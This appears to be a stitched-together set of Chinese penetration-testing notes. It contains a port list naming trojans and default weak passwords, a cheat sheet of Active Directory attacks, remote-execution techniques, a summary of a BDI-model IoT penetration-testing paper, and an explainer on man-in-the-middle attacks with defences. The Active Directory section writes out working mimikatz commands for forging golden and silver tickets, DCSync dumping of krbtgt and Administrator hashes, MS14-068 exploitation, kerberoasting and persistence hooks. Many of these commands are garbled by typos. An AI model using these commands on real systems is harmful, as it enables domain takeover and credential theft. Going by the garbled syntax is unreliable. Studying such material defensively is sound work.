DPA端口:569 服務:Membership MSN 成員資格 MSN端口:635 服務:mountd Linux的mountd Bug。是掃描的一個流行BUG。對端口的掃描是基于UDP的,但是基于TCP的mountd有所增加(mountd同時運行于兩個端口)。記住mountd可運行于任何端口(到底是哪個端口,需要在端口111做portmap查詢),Linux默認端口是635,就像NFS通常運行于2049端口端口:636 服務:LDAP SSL(Secure Sockets layer)端口:666 服務:Doom Id Software 木馬Attack FTP、Satanz Backdoor開放此端口端口:873 Rsync未授權端口:993 服務:IMAP SSL(Secure Sockets layer)端口:1001、1011 木馬Silencer、WebEx開放1001端口。木馬Doly Trojan開放1011端口端口:1024 服務:Reserved 動態端口的開始,許多程序并不在乎用哪個端口連接網絡,請求系統為它們分配下一個閑置端口。分配從端口1024開始。第一個向系統發出請求的會分配到1024端口。重啟機器,打開Telnet,再打開一個窗口運行natstat -a 看到Telnet被分配1024端口。SQL session也用此端口和5000端口端口:1025、1033 服務:1025:network blackjack NFS1033:[NULL] 木馬netspy開放端口端口:1080 服務:SOCKS 以通道方式穿過防火墻,允許防火墻后面的人通過IP地址訪問INTERNET。理論上只允許內部的通信向外到達INTERNET。但由于錯誤配置,會允許位于防火墻外部的攻擊穿過防火墻。WinGate常發生這種錯誤,在加入IRC聊天室時常會看到這種情況端口:1158 ORACLE EMCTL.2601 EMCTL.2604 zebra路由器 默認密碼zebra端口:1170 木馬Streaming Audio Trojan、Psyber Stream Server、Voice開放此端口端口:1234、1243、6711、6776 木馬SubSeven2.0、Ultors Trojan開放1234、6776端口。木馬SubSeven1.0/1.9開放1243、6711、6776端口端口:1245 木馬Vodoo開放此端口端口:1433 服務:SQL MSSQL(暴力破解) Microsoft的SQL服務開放的端口端口:1492 服務:stone-design-1 木馬FTP99CMP開放此端口端口:1500 服務:RPC client fixed port session queries RPC客戶固定端口會話查詢端口:1503 NetMeeting T.120端口:1521 Orcal (iSqlPlus Port 5560 7778)端口:1524 服務:ingress 許多腳本將安裝一個后門SHELL到這個端口,尤其是針對SUN系統中Sendmail和RPC服務漏洞的腳本。如果安裝了防火墻就會看到在這個端口上的連接企圖,很可能是上述原因。試試Telnet到用戶的計算機上的這個端口,看看是否會給一個SHELL。連接到600/pcserver也存在這個問題端口:1600 服務:issd 木馬Shivka-Burka開放此端口端口:1720 服務:NetMeeting NetMeeting H.233 call Setup端口:1731 服務:NetMeeting Audio Call Control NetMeeting音頻調用控制端口:1807 木馬SpySender開放此端口端口:1981 木馬ShockRave開放此端口端口:1999 服務:cisco identification port 木馬BackDoor開放此端口端口:2000 木馬GirlFriend 1.3、Millenium 1.0開放此端口端口:2001 木馬Millenium 1.0、Trojan Cow開放此端口端口:2023 服務:xinuexpansion 4 木馬Pass Ripper開放此端口端口:2049 服務:NFS NFS程序運行端口。需訪問Portmapper查詢服務運行于哪個端口端口:2082/2083 cpanel主機管理系統登錄(國外使用較多)端口:2115 木馬Bugs開放此端口端口:2140、3150 木馬Deep Throat 1.0/3.0開放此端口端口:2222 DA虛擬主機管理系統登陸(國外使用較多)端口:2500 服務:RPC client using a fixed port session replication 應用固定端口會話復制的RPC客戶端口:2583 Wincrash 2.0開放此端口端口:2601/2604 zebra路由器,默認密碼zebra端口:2801 木馬Phineas Phucker開放此端口端口:3024、4092 木馬WinCrash開放此端口端口:3128 服務:squid squid HTTP代理服務器默認端口。攻擊者掃描端口為了搜尋一個代理服務器而匿名訪問Internet。也會看到搜索其他代理服務器的端口8000、8001、8080、8888。掃描這個端口的另一個原因是用戶正在進入聊天室。其他用戶也會檢驗這個端口確定是否支持代理,如果沒設置口令,直接漫游內網端口:3129 木馬Master Paradise開放此端口端口:3150 木馬The Invasor開放此端口端口:3210、4321 木馬SchoolBus開放此端口端口:3306 MYSQL(暴力破解)端口:3312/3311 kangie主機管理系統登錄端口:3333 服務:dec-notes 木馬Prosiak開放此端口端口:3389 服務:超級終端 WINDOWS 2000終端開放此端口端口:3690 SVN端口:3700 木馬Portal of Doom開放此端口端口:3996、4060 木馬RemoteAnything開放此端口端口:4000 服務:QQ客戶端 騰訊QQ客戶端開放端口端口:4092 木馬WinCrash開放此端口端口:4440 rundeck 漫游內網端口:4590 木馬ICQTrojan開放此端口端口:4848 GlassFish Web中間件 弱口令:admin/adminadmin端口:5000、5001、5321、50505 木馬blazer5開放5000端口。木馬Sockets de Troie開放5000、5001、5321、50505端口端口:5400、5401、5402 木馬Blade Runner開放此端口端口:5432 PostgreSQL端口:5550 木馬xtcp開放此端口端口:5569 木馬Robo-Hack開放此端口端口:5632 服務:pcAnywere 依賴于用戶所在位置。當用戶打開pcAnywere時,自動掃描局域網C類網以尋找可能的代理(這里的代理是指agent而不是proxy)。入侵者尋找開放服務的計算機。查看這種掃描的源地址。pcAnywere的掃描包常含端口22的UDP數據包端口:5742 木馬WinCrash1.03開放此端口端口:5900 VNC端口:5984 CouchDB端口:6082 varnish端口:6267 木馬廣外女生開放此端口端口:6379 redis未授權端口:6400 木馬The tHing開放此端口端口:6670、6671 木馬Deep Throat開放6670端口。而Deep Throat 3.0開放6671端口端口:6883 木馬DeltaSource開放此端口端口:6969 木馬Gatecrasher、Priority開放此端口端口:6970 服務:RealAudio RealAudio客戶將從服務器的6970-7170的UDP端口接收音頻數據流。這是由TCP-7070端口外向控制連接設置的端口:7000 木馬Remote Grab開放此端口端口:7001/7002 WebLogic默認弱口令,反序列化端口:7300、7301、7306、7307、7308 木馬NetMonitor開放此端口。另外NetSpy1.0也開放7306端口端口:7323 Sygate服務器端端口:7626 木馬Giscier開放此端口端口:7778 Kloxo主機控制面板登錄端口:7789 木馬ICKiller開放此端口端口:8000 服務:OICQ 騰訊QQ服務器端開放端口端口:8000-9090 常見WEB端口,運維喜歡把管理后臺開在非80端口端口:8010 服務:Wingate Wingate代理開放此端口端口:8080 服務:代理端口 WWW代理開放此端口,tomacat/WDCd/主機管理系統,默認弱口令端口:8080/8089/9090 JBOSS端口:8081 Symantec AC/Filter for MSE端口:8083 Vestacp主機管理系統(國外使用較多)端口:8649 ganglia端口:8888 amh/LuManager主機管理系統默認端口端口:9000 fcgi fcig php執行端口:9043 websohere[web中間件],弱口令:admin/admin websohere /websphere system/manager端口:9200/9300 elasticsearch端口:9400、9401、9402 木馬Incommand 1.0開放此端口端口:9872、9873、9874、9875、10067、10167 木馬Portal of Doom開放此端口端口:9989 木馬iNi-Killer開放此端口端口:10000 Virtualmin/Webmin 服務器虛擬主機管理系統端口:11000 木馬SennaSpy開放此端口端口:11211 memcache未授權訪問端口:11223 木馬Progenic trojan開放此端口端口:12076、61466 木馬Telecommando開放此端口端口:12223 木馬Hack'99 KeyLogger開放此端口端口:12345、12346 木馬NetBus1.60/1.70、GabanBus開放此端口端口:12361 木馬Whack-a-mole開放此端口端口:13223 服務:PowWow Tribal Voice的聊天程序。允許用戶在端口打開私人聊天連接。對于建立連接非常具有攻擊性。駐扎在TCP端口等待回應。造成心跳間隔的連接請求。如果一個撥號用戶從另一個聊天者手中繼承了IP地址就會發生有很多不同的人在測試這個端口的情況。使用OPNG作為連接請求的前4個字節端口:16969 木馬Priority開放此端口端口:17027 服務:Conducent 外向連接。由于公司內部有人安裝了帶有Conducent"adbot"的共享軟件。Conducent"adbot"為共享軟件顯示廣告服務。使用這種服務的一種流行的軟件是Pkware端口:19191 木馬藍色火焰開放此端口端口:20000、20001 木馬Millennium開放此端口端口:20034 木馬NetBus Pro開放此端口端口:21554 木馬GirlFriend開放此端口端口:22222 木馬Prosiak開放此端口端口:23456 木馬Evil FTP、Ugly FTP開放此端口端口:26274、47262 木馬Delta開放此端口端口:27017/27018 Mongodb未授權訪問端口:27374 木馬Subseven 2.1開放此端口端口:28017 mongodb統計頁面端口:30100 木馬NetSphere開放此端口端口:30303 木馬Socket23開放此端口端口:30999 木馬Kuang開放此端口端口:31337、31338 木馬BO(Back Orifice)開放此端口。另外木馬DeepBO也開放31338端口端口:31339 木馬NetSpy DK開放此端口端口:31666 木馬BOWhack開放此端口端口:33333 木馬Prosiak開放此端口端口:34324 木馬Tiny Telnet Server、BigGluck、TN開放此端口端口:40412 木馬The Spy開放此端口端口:40421/40422/40423/40426 木馬Masters Paradise開放此端口端口:43210、54321 木馬SchoolBus 1.0/2.0開放此端口端口:44445 木馬Happypig開放此端口端口:50000 SAP命令執行端口:50060 hadoop端口:50070/50030 hadoop默認端口未授權訪問端口:50766 木馬Fore開放此端口端口:53001 木馬Remote Windows Shutdown開放此端口端口:65000 木馬Devil 1.03開放此端口域滲透
信息搜集
Get-NetDomain - gets the name of the current user's domain Get-NetForest -gets the forest associated with the current user's domain Get-NetForestDomains - gets all domains for the current forest Get-NetDomainControllers - gets the domain controllers for the current computer's domain Get-NetCurrentUser - gets the current [domain\]username Get-NetUser - returns all user objects,or the user specified(wildcard specifiable) Get-NetUserSons - gets all user ServicePrincipalNames Get-NetOUs - gets data for dimain organization units Get-NetGUIDOUs - finds domain OUs linked to a specific GUID Invoke-NetUserAdd -adds a loacl pr domain user Get-NetGroups - gets a list of all current groups in the doamin Get-NetGroup - gets data for each user in a soecified domain group Get-NetLoaclGroups - gets a list of loaclgroups on a remote host or hosts Get-NetLoaclGroup - gets the members of a loaclgroup on a remote host or hosts get-NetLoaclServices - gets a list of running services/paths on a remote host or hosts Invoke-NetGroupUserAdd -adds a user to a specified loacl or doamin group Get-NetComputers - gets a list of all current servers in the domain Get-NetFileServers - gets a list of file servers used by current doamin group Get-NetShare - gets share information for a specified server Get-NetLoggedon - gets users actively logged onto a specified server Get-Netsessions - gets active sessions on a specified server Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles Get-NetConnections - gets active connections to a specific server resource(share) Get-NetFiles - gets open files on a server Get-NetProcesses - gets the remote processes and owners on a remote server獲取域控方法
SYSVOL
存儲域公共文件服務器副本的共享文件夾,在域中所有的域控制器之間復制,安裝AD時創建,用來存放GPO,Script等信息,同時存放在Sysvol文件夾中的信息,會復制到域中所有DC上
尋找SYSVOL里密碼和攻擊GPP(組策略偏好) Windows Sercer 2008 R2 Sysvol文件夾 SYSVOL中查找密碼并利用組策略首選項 里喲個SYSVOL還原組策略中保存的密碼MS14 -068 Kerberos
python ms14 -068.py -u 域用戶@域名 -p 密碼 -s 用戶 用戶SID -d 域主機 利用mimikatz將工具得到的TGT_domainuser@SERVER.COM.ccache寫入內存,創建緩存證書 mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.co.ccache"exit net use C:\pentest.comc$ 工具包PyKEK MS14-068漏洞 Kerberos安全漏洞SPN掃描
Kerberoast可做為一個有效方法從ACtive DIrectory中以普通用戶的身份提取服務賬戶憑據,無需向目標主機發送任何數據包
在使用Kerberos身份驗證的網絡上的唯一標識符,由服務類,主機名,端口組成,在使用Kerberos身份驗證的網絡中,必須在內置計算機用戶(NetworkService或LoaclSystem)或用戶賬戶下為服務器注冊的SPN,對于內部賬戶,SPN會自動進行注冊,如果域用戶賬戶下運行服務,必須為使用的賬戶手動注冊SPN
SPN不需要連接到網絡上的每個IP檢查服務端口,SPN通過LDAP查詢向域控執行服務,SPN查詢是Kerberos票據行為的一部分,所以很難檢測SPN掃描
Kerberos黃金門票
在域上抓取HASH kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash/ticket:administrator.kribi kerberos::ptt administrtor.kiribi kerberos::tgt net use k:\pentest.comc$Kerberos白銀門票
黃金票據和白銀票據區別: Golden Ticket 偽造TGT 獲取任何的Kerberos服務權限 Silver Ticket 偽造TGS 只能訪問指定服務加密方式不同 Golden Ticket由krbtgt的HASH加密 Silver Ticket由服務賬號(計算機賬戶)HASH加密認證流程不同 Golden Ticket使用過程需要同域控通信 Sliver Ticket使用過程不需要同域控通信 mimikatz.exe "kerberos :: folden /domain:域 /sid.SID /target:域全稱 /service要訪問的服務 /rc4.NTLM/user.sliver /ptt*使用Kerberos銀票利用系統與服務賬號破解
與SPN掃描類似原理
獲取所有用作SPN的賬戶 setspn -T PENTEST.com -Q */* 從Mimikatz的TAM中提取獲得的門票 Kerberos :: list /export 用rgsrepcrack破解 tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sq101 medin.loacl~1433-MYDOMAIN.LOCAL.kirbi憑證盜竊
從搜集的密碼里面找管理員密碼
地址解析協議
ARP是最終的滲透手段
截取AD哈希
使用VSS卷影副本 Ntdsutil中獲取NTDS.DIT文件 Powershell中提取NTDS.DIT #Invoke-NinaCopy 使用Minikatz提取 #mimikatz lasdumo :: inject exit 使用PowerShell Mimikatz Mimikatz的DCSync #使用Minmikatz的DCSync運城傳輸Active Directory憑證 提取KRBTGT用戶賬戶的密碼數據 Mimikatz 'privilege :: debug" "lsadump :: dcsync /domain:rd.adsecurity.org /user: krbtgt "exit管理員用戶賬戶提取密碼數據 Mimikatz "privilege :: debug" " debug" "lsadump :: dcsync /doamin:rd.adsecurity.org /user: Administrator" exitNTDS.dit中提取哈希 #使用esedbexport回復以后使用ntdsxtract提取AD持久化
活動目錄持久性技巧DS恢復模式密碼維護 DSRM密碼同步 #Windows Server 2008需要安裝KB961320補丁才支持DSRM密碼同步 #WIndows Server 2003不支持DSRM密碼同步 #利用DSRM密碼同步將域控權限持久化 DCshadowSecurity Support Provider #SSP就是一個DLL用來實現身份認證 privlege :: debug misc :: memssp #這樣不需要重啟 C:/windows/system32可以看到新生成的文件 SID歷史 mimikatz "privilege :: debug" "misc :: addsid bobafett ADSAdministrator"AdminSDHolder&SDProp 利用AdminSDHolder&SDProp,重新獲取域管理權限組策略 策略對象在持久化及橫向滲透中的應用Hook PasswordChangeNotifyTIPS
通過Hook PasswordChangeNotify實時記錄域控管理員新密碼 域滲透時要記得留意域內主機的本地管理員賬號相關工具
BloodHound CreackMapExec DeathStar遠程系統執行程序
操作系統:win7 x64 遠程登陸方式:net use遠程登陸,不使用33891、at&schtasks
計劃任務方式執行程序。
條件:
啟動Task Scheduler服務
2、psexec
PsTools工具之一,在指定的一臺或多臺計算機上運行應用程序
條件:
需要開放ADMIN$共享
3、WMIC
功能強大,可做系統管理、遠程主機信息獲取
條件:
啟動WMI服務,開放135端口
本地安全策略的“網絡訪問: 本地賬戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
4、wmiexec
使用VBS腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也能夠使用。
5、powershell remoting
實現在目標主機遠程執行程序后,可對目標主機開放powershell remoting,用作遠程連接
6 、python smbexec
隨后用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。
整理下目前掌握的目標主機信息
目標主機:
1、已獲得登陸用戶名及口令
2、可以net use連接
3、開放共享C
但是:
1、默認admin$共享關閉,無法使用psexec
2、Task scheduler關閉,無法使用at、schtasks
3、Windows Management Instrumentation服務關閉,關閉135端口無法使用wmic、wmiexec
4、不支持3389
在目標主機遠程執行程序
猜測是對常用的遠程執行程序的方法做了限制,可以嘗試smbexec,基于psexec,如果目標主機開放了其他默認共享,可以嘗試smbexec
搜索smbexec,GitHub有smbexec的c++參考資料,作為工具改進模版
模版下載地址:https://github.com/sunorr/smbexecIoT相關 (物聯網)
物聯網(IoT)是新興技術,是對傳統Internet的擴展,它使所有帶有射頻識別(RFID),傳感器或GPS等功能的物體相互連通。
IoT安全問題頻發,從攻擊者角度來看,評估物聯網安全性的方法卻很少。目前為止,滲透測試已廣泛應用于評估傳統的Internet或系統安全性,但通常需要花費大量成本和時間。
針對物聯網的安全問題,提出基于BDI模型的滲透測試方法及其自動化,以評估物聯網的安全性。
什么是IoT
物聯網(IoT)是1999年由麻省理工學院(MIT)提出;這段特殊的時期預示著重要的新一代信息技術的出現。物聯網被認為是交易的延伸附加互聯網,便于信息通信傳遞。具有識別位置,跟蹤信息,監視射頻識別的數據管理(RFID),傳感器或GPS等功能。
根據現有的文獻,物聯網結構包括三層:應用層,網絡層和感知層。 應用層為用戶提供在不同的場景中的服務。網絡層負責信息的傳輸和處理。感知層收集信息并識別對象。(包括各種硬件終端例如RFID,傳感器,GPS等)物聯網的使用技術已應用于各種領域,例如智能網格,智能交通,智慧城市,智能家居,智能醫療保健,體育鍛煉和智能建筑。
大部分IoT安全研究都側重于分析,防御或攻擊特定設備。
物聯網的安全性
與傳統互聯網相比,物聯網具有特殊的特征,三層結構會導致更多的漏洞出現。在物聯網的三層結構中,每一層都有特定的安全性問題,其中一些類似于傳統網絡。
A. 感知層安全
感知層,也稱為識別層或物理層,從現實世界中收集信息,通過RFID將這些信息集成到數字世界中(比如:傳感器,GPS和其他硬件設備)。感知層的節點一般是低功率,計算能力受限,低存儲空間和重復使用。
感知層并沒有采用傳統的信息安全解決方案。從每個感知層網絡到節點,特定的安全問題會導致更多漏洞和攻擊面出現。例如,節點是容易遭到竊聽,欺騙,克隆,killing,干擾和屏蔽攻擊等。
B. 網絡層安全
網絡層負責傳輸應用層和感知層之間的信息。網絡層是各種網絡架構的組合,包括互聯網,移動通信網絡,衛星,GSM網絡,GPRS,3G,4G,WIFI網絡等。
安全性問題與傳統的相似,容易受到DDoS、中間人、數據篡改、數據重放和信號干擾等攻擊。此外,混合不同的網絡架構也可能帶來新的安全問題。
C. 應用層安全
應用層為用戶提供了多種服務,例如:智能電網,智能交通,智慧城市,智能家居,智能醫療保健和智能建筑等。物聯網可以通過各種平臺訪問,用戶可以通過在不同平臺上的應用程序來實現相應的功能。例如:計算機,移動設備或智能硬件設備。
應用層(與其他層類似)的安全風險取決于物聯網場景的攻擊漏洞(例如攻擊緩沖區溢出,SQL注入,XSS,密碼攻擊和社會工程攻擊)。
PENETRATION測試
基于已建立的物聯網特定安全問題研究和OWASP的物聯網攻擊項目,傳統物聯網滲透測試與當前物聯網滲透測試的區別在于感知層。
物聯網滲透測試的過程分為四個階段:1)信息搜集 2)分析 3)開發 4)報告物聯網測試流程圖
A.信息收集
初始階段的信息收集是一個關鍵步驟,探測所有三個物聯網結構層(感知、網絡和應用)的信息來確定滲透測試的成功。
1) 感知層:收集有關物理環境的各種信息,比如節點的位置、節點的類型、節點的范圍、類型連接方式、通信協議類型、拓撲結構節點、節點操作系統的類型、節點的電源、安全機制、節點漏洞和傳播協議漏洞等。
工具示例包括:? Hardware Bridge API:用于物聯網滲透測試。 ? Nmap:開源免費工具,掃描網上電腦開放的網絡連接端。 ? Openvas:開放式漏洞評估系統,也可以說它是一個包含著相關工具的網絡掃描器。 ? Nessus:目前全世界最多人使用的系統漏洞掃描與分析軟件。2) 網絡層:利用網絡攻擊工具(wirelessatck套件、aircack)采集與傳統滲透測試類似的網絡類型、連接類型、安全機制、通信類型和傳輸協議漏洞等信息是非常關鍵的。
3) 應用層:信息收集類似于傳統的信息收集。收集有關操作系統類型,端口,服務信息,訪問控制類型,配置Nmap提供的信息和漏洞信息,vas,Nessus等等。
4) 社會工程信息:例如,DNS信息,電子郵件列表,應用程序信息等。Dnsenum和Fierce以收集DNS信息而聞名,可以通過Harvester收集電子郵件列表。
B.分析
分析階段,必須對目標的相關信息進行組織、分析,隨后識別出目標的攻擊路徑,并嘗試獲得目標的訪問權限,通常需要對實驗環境進行有效性檢查。
C.開發
此階段,將把分析階段已經分析出來的可行的攻擊路徑和規劃進行真正的攻擊。在滲透測試期間,禁止DDoS攻擊,保證目標的可用性。
1)感知層:攻擊由硬件橋接API或IoTseeker形成
? 略讀:非法讀取節點信息。 ? 竊聽:嗅探節點之間的信息路由器。 ? 欺騙:生成偽造的節點數據。 ? 克隆:克隆偽節點。 ? 殺死:竊取并破壞節點。 ? 緩沖區溢出w攻擊節點。 ? 節點上的訪問控制攻擊:IoTseeker打破了IoT設備的默認密碼。2) 網絡層:網絡層上的攻擊,網絡流量嗅探器,信號重放,信號偽造,并在不同的網絡通信中劫持信號WIFI,3G,4G,GSM,藍牙和通過無線攻擊Aircrack-ng等。
? 網絡流量嗅探器:sniffer之間的信息網絡。 ? 信號重放:重放信息以進行攻擊目標。 ? 假信號:生成信息來進行攻擊目標。 ? 信號劫持:干擾目標網絡并強制將目標節點連接到可控制的偽造網絡上。3) 應用層:Web應用程序攻擊,軟件緩沖區溢出攻擊,密碼攻擊等。
? Metasploit:最受好評的滲透測試框架包括成千上萬的漏洞利用加載。 ? W3af:Web應用程序攻擊框架。 ? John the Ripper:密碼破解。4)社會工程攻擊:針對缺乏安全意識的普通民眾。假如,員工可以通過向它們啟用對目標的訪問特權并進一步的進行滲透測試。
執行此類攻擊的能力需要SetoolkitD.報告
成功的滲透測試模擬會發現漏洞,其中細節將被處理,并向目標所有者報告,提高未來的安全性。
發現系統或應用平臺的漏洞。對流程中的信息分析評估總結,形成最終的測試報告,提高系統的安全性能。
BDI模型的自動化
滲透測試的成功需要一套完整的目標和計劃。為實現自動化,BDI是解決問題的理想模型,因為能在滲透測試中通過感知和動作與目標進行交互。
使用BDI模型為物聯網滲透測試建模。BDI模型描述在滲透測試期間如何選擇與目標信息相關的操作,分為三個邏輯成分:信念、愿望和意圖。遵循Jason解釋器,模型是基于過程推理系統(PRS)。
BDI代理定義為“元組”< Ag,B,D,I,P,A,S >
? Ag是代理名稱; ? B是一個信念集,代表有關目標,并在執行操作后將其更新; ? D是一個愿望集,代表所有選項或可能的滲透測試候選計劃代理商 ? I是一個意圖集,代表代理商的目標或代理商決定執行的計劃。 ? P是一個計劃集,由可用計劃組成,每個計劃提供有關如何達到的信息ve的目標。 ? A是一個操作集,其中包括可以執行的代理操作。 ? S是一個感知集,它存儲了來自環境的各種信息。BDI代理的推理周期
驗證
通過仿真對物聯網進行自動化滲透測試實驗
模型運行在具有2.3 GHz,I5 CPU和8GB的RAM的PC上。
模擬實驗代表BDI代理和三層物聯網在Jason中使用內部溝通動作,模擬BDI模型與物聯網。模型是在AgentSpeak Jason中實現的,是一種多代理系統編程語言。
A. 物聯網目標
將物聯網目標信息預先定義為三層,包括服務和相應的漏洞能力
該信息存儲在信念集中,三個物聯網結構層的仿真需要創建4個代理,分別表示應用層和網絡層,以及感知層中的兩個節點。
網絡層負責應用層和感知層之間的信息傳輸此外,為了使場景不確定,使用隨機數確定攻擊的結果。
B. BDI代理
在BDI代理中,特權的默認值是none,初始目標是應用層中的root特權或控制IoT。在物聯網滲透測試的基礎上,預先定義了對三層代理進行信息和攻擊的探測計劃,例如,BDI代理可以探測操作系統類型、端口、服務、漏洞信息和網絡類型,執行密碼攻擊、嗅探攻擊,重放攻擊和緩沖溢出攻擊。模擬實驗是由Jason的內部動作完成的
Jason代碼如下所示:+!probe information: true<?.send(agent name, askAll, information type(value)).+!attack action: true<?.send(agent name, tell, attack action)C.模擬
對應用層的失敗攻擊和對網絡層和感知層的成功攻擊,說明傳統物聯網滲透測試系統與當前物聯網滲透測試系統的不同。成功獲得了操作系統類型、端口、服務、網絡類型、網絡安全和漏洞三個層次的基本信息。
BDI模型對物聯網進行滲透測試的過程
BDI代理成功地破解了SSH password,并獲得了用戶權限。
隨機性較低,無法執行本地緩沖區溢出攻擊以獲取根權限。由于對每一層之間的信息傳輸缺乏安全保護,BDI代理成功地執行了Sniffertack。
可以獲得有關光傳感器和光控制指令的必要信息,BDI代理收集并存儲在信念集中的信息
信息在網絡層傳輸的過程
“turn on the light”命令和光傳感器信息在應用程序和網絡層之間傳輸,顯示在網絡層的信念集中。感知層的基本信息和值包含在應用層代理的信念集中
假設光傳感器的值是40。在感知層,兩個代理分別代表光和光傳感器,BDI代理可以根據光傳感器信息和光控制指令執行重放攻擊
中間人
中間人攻擊(Man-in-the-MiddleAttack,簡稱“MITM攻擊”)指攻擊者與通訊的兩端分別創建獨立的聯系,并交換所收到的數據,使通訊的兩端認為通過一個私密的連接與對方直接對話,但事實上整個會話都被攻擊者完全控制。在中間人攻擊中,攻擊者可攔截通訊雙方的通話并插入新的內容。中間人攻擊是(缺乏)相互認證的攻擊。大多數的加密協議都專門加入了一些特殊的認證方法以阻止中間人攻擊。例如,SSL協議可以驗證參與通訊的一方或雙方使用的證書是否是由權威的受信 任的數字證書認證機構頒發,并且能執行雙向身份認證。
搭建局域網需要用到交換機,利用VMware虛擬機模擬搭建局域網,因為VMware配置了虛擬交換機,VMnet1-VMnet19都是交換機,比如開了三臺虛擬機,將三臺虛擬機的網絡適配器設置VMnet1,那這三臺虛擬機在了同一局域網中。
VMnet0是真實網絡中的交換機(路由器),虛擬機的網絡模式為VMnet0時,虛擬機則將連接真實網絡,和原主機處于同一網段中。
ARP協議
“Address Resolution Protocol”(地址解析協議)在以太網環境中,數據的傳輸所依懶的是MAC地址而非IP地址(交換機只能認識MAC地址),將已知IP地址轉換為MAC地址的工作是由ARP協議來完成的。
局域網中,網絡中實際傳輸的是“幀”,幀里面是有目標主機的MAC地址的。以太網中,一個主機和另一個主機進行直接通信,必須知道目標主機的MAC地址。通過地址解析協議獲得目標MAC地址。
“地址解析”是主機在發送幀前將目標IP地址轉換成目標MAC地址的過程。
ARP協議的基本功能是通過目標設備的IP地址,查詢目標設備的MAC地址,以保證通信的順利進行。
中間人攻擊示意圖
假設愛麗絲(Alice)希望與鮑伯(Bob)通信。同時,馬洛里(Mallory)希望攔截竊會話以進行竊聽并可能在某些時候傳送給鮑伯一個虛假的消息。
首先,愛麗絲會向鮑伯索取他的公鑰。如果Bob將他的公鑰發送給Alice,并且此時馬洛里能夠攔截到這個公鑰,就可以實施中間人攻擊。馬洛里發送給愛麗絲一個偽造的消息,聲稱自己是鮑伯,并且附上了馬洛里自己的公鑰(而不是鮑伯的)。
愛麗絲收到公鑰后相信這個公鑰是鮑伯的,于是愛麗絲將她的消息用馬洛里的公鑰(愛麗絲以為是鮑伯的)加密,并將加密后的消息回給鮑伯。馬洛里再次截獲愛麗絲回給鮑伯的消息,并使用馬洛里自己的私鑰對消息進行解密,如果馬洛里愿意,她也可以對消息進行修改,然后馬洛里使用鮑伯原先發給愛麗絲的公鑰對消息再次加密。當鮑伯收到新加密后的消息時,他會相信這是從愛麗絲那里發來的消息。
1.愛麗絲發送給鮑伯一條消息,卻被馬洛里截獲:愛麗絲“嗨,鮑伯,我是愛麗絲。給我你的公鑰” --> 馬洛里 鮑伯 2.馬洛里將這條截獲的消息轉送給鮑伯;此時鮑伯并無法分辨這條消息是否從真的愛麗絲那里發來的:愛麗絲 馬洛里“嗨,鮑伯,我是愛麗絲。給我你的公鑰” --> 鮑伯 3.鮑伯回應愛麗絲的消息,并附上了他的公鑰:愛麗絲 馬洛里<-- [鮑伯的公鑰]-- 鮑伯 4.馬洛里用自己的密鑰替換了消息中鮑伯的密鑰,并將消息轉發給愛麗絲,聲稱這是鮑伯的公鑰:愛麗絲<-- [馬洛里的公鑰]-- 馬洛里 鮑伯 5.愛麗絲用她以為是鮑伯的公鑰加密了她的消息,以為只有鮑伯才能讀到它:愛麗絲“我們在公共汽車站見面!”--[使用馬洛里的公鑰加密] --> 馬洛里 鮑伯 6.然而,由于這個消息實際上是用馬洛里的密鑰加密的,所以馬洛里可以解密它,閱讀它,并在愿意的時候修改它。他使用鮑伯的密鑰重新加密,并將重新加密后的消息轉發給鮑伯:愛麗絲 馬洛里“在家等我!”--[使用鮑伯的公鑰加密] --> 鮑伯 7.鮑伯認為,這條消息是經由安全的傳輸通道從愛麗絲那里傳來的。愛麗絲和鮑伯需要某種方法來確定他們是真正拿到了屬于對方的公鑰,而不是拿到來自攻擊者的公鑰。否則,這類攻擊一般都是可行的,在原理上,可針對任何使用公鑰——密鑰技術的通訊消息發起攻擊。幸運的是,有各種不同的技術可以幫助抵御MITM攻擊。
防御攻擊
許多抵御中間人攻擊的技術基于以下認證技術:
公鑰基礎建設
PKI方案中,主要防御中間人攻擊的方案是PKI的相互認證的機制。使用機制并由應用程序驗證用戶,用戶設備驗證應用程序。在某些流氓應用的情況下,不是很有用,需要注意對流氓軟件應與正規軟件進行區分。
更強力的相互認證:
密鑰(通常是高信息熵的密鑰,從而更安全) 密碼(通常是低的信息熵的密鑰,從而降低安全性)延遲測試,使用復雜加密哈希函數進行計算以造成數十秒的延遲;如果雙方通常情況下要花費20秒來計算,并且整個通訊花費60秒計算才到達對方,表明存在第三方中間人。
第二(安全的)通道的校驗
一次性密碼本可以對中間人攻擊免疫,在對一次密碼本的安全性和信任上創建。公鑰體系的完整性通常必須以某種方式得到保障,但不需要進行保密。密碼和共享密鑰有額外的保密需求。公鑰可以由證書頒發機構驗證,這些公鑰通過安全的渠道(隨Web瀏覽器或操作系統安裝)分發。公共密鑰也可以經由Web在線信任進行在線驗證,可以通過安全的途徑分發公鑰(通過面對面的途徑分發公鑰)。
查看密鑰交換協議以了解不同類別的使用不同密鑰形式或密碼以抵御中間人攻擊的協議。
中間人攻擊的取證分析
從被懷疑是中間人攻擊的鏈接中捕捉網絡數據包并進行分析可以確定是否存在中間人攻擊。在進行網絡分析并對可疑的SSL中間人攻擊進行取證時,重要的分析證據包括:
遠程服務器的IP地址 DNS域名解析服務器 X.509證書服務器 證書是自簽名證書嗎? 證書是由信任的頒發機構頒發的嗎? 證書是否已被吊銷? 證書最近被更改過嗎? 在互聯網上的其他的客戶端是否也得到了相同的證書?其他的非加密中間人攻擊
一個著名的非加密中間人攻擊的例子是貝爾金無線路由器2003年的某一個版本所造成的。它會周期性地接管通過它的HTTP連接,阻止數據包到達目的地。并將它自己對請求的回應作為應答返回。而它發送的回應,則是在用戶原本應該顯示網頁的地方,顯示一個關于其他貝爾金產品的廣告。在遭到了解技術詳情的用戶的強烈抗議后,這個功能被貝爾金從路由器后續版本的固件中刪除。
